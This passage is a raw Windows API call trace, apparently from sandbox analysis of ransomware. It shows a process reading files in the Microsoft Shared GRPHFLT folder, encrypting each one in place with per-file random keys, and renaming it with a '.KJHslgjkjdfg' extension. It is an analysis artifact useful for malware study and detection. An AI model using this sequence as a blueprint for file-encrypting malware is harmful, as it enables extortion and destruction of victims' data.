lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.957] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.958] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x93f6e, lpOverlapped=0x0) returned 1 [0141.979] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x93f70, dwBufLen=0x93f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x93f70) returned 1 [0141.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.986] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x93f70, lpOverlapped=0x0) returned 1 [0141.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x94044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.989] SetEndOfFile (hFile=0x114) returned 1 [0141.992] GetProcessHeap () returned 0x2a0000 [0141.992] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.992] GetProcessHeap () returned 0x2a0000 [0141.992] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.kjhslgjkjdfg")) returned 1 [0142.000] CloseHandle (hObject=0x114) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0142.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.001] GetProcessHeap () returned 0x2a0000 [0142.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.001] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.002] GetProcessHeap () returned 0x2a0000 [0142.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.002] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0142.002] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.002] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0142.005] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.005] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.005] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.006] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.006] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.006] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xadf90, lpOverlapped=0x0) returned 1 [0142.013] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xadf90, dwBufLen=0xadf90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xadf90) returned 1 [0142.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.019] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xadf90, lpOverlapped=0x0) returned 1 [0142.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xae064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.021] SetEndOfFile (hFile=0x114) returned 1 [0142.025] GetProcessHeap () returned 0x2a0000 [0142.025] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.025] GetProcessHeap () returned 0x2a0000 [0142.025] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.kjhslgjkjdfg")) returned 1 [0142.031] CloseHandle (hObject=0x114) returned 1 [0142.031] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0142.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.032] GetProcessHeap () returned 0x2a0000 [0142.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.033] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.033] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.033] GetProcessHeap () returned 0x2a0000 [0142.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.033] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0142.033] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.033] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0142.035] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.035] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.035] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.035] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.035] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.035] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.035] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e380, lpOverlapped=0x0) returned 1 [0142.039] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e380, dwBufLen=0x4e380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e380) returned 1 [0142.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.042] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e380, lpOverlapped=0x0) returned 1 [0142.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4e454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.043] SetEndOfFile (hFile=0x114) returned 1 [0142.046] GetProcessHeap () returned 0x2a0000 [0142.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.046] GetProcessHeap () returned 0x2a0000 [0142.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.kjhslgjkjdfg")) returned 1 [0142.053] CloseHandle (hObject=0x114) returned 1 [0142.053] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0142.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.054] GetProcessHeap () returned 0x2a0000 [0142.054] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.054] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.055] GetProcessHeap () returned 0x2a0000 [0142.055] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0142.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0142.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.057] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.057] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.057] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.057] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ad80, lpOverlapped=0x0) returned 1 [0142.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ad80, dwBufLen=0x3ad80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ad80) returned 1 [0142.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ad80, lpOverlapped=0x0) returned 1 [0142.063] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ae54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.063] SetEndOfFile (hFile=0x114) returned 1 [0142.068] GetProcessHeap () returned 0x2a0000 [0142.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.068] GetProcessHeap () returned 0x2a0000 [0142.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.kjhslgjkjdfg")) returned 1 [0142.077] CloseHandle (hObject=0x114) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0142.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.084] GetProcessHeap () returned 0x2a0000 [0142.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.084] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0142.087] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.087] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.087] GetProcessHeap () returned 0x2a0000 [0142.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.087] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.087] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.088] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.088] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.088] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.088] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.088] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.088] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.088] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x774, lpOverlapped=0x0) returned 1 [0142.088] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780, dwBufLen=0x780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780) returned 1 [0142.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 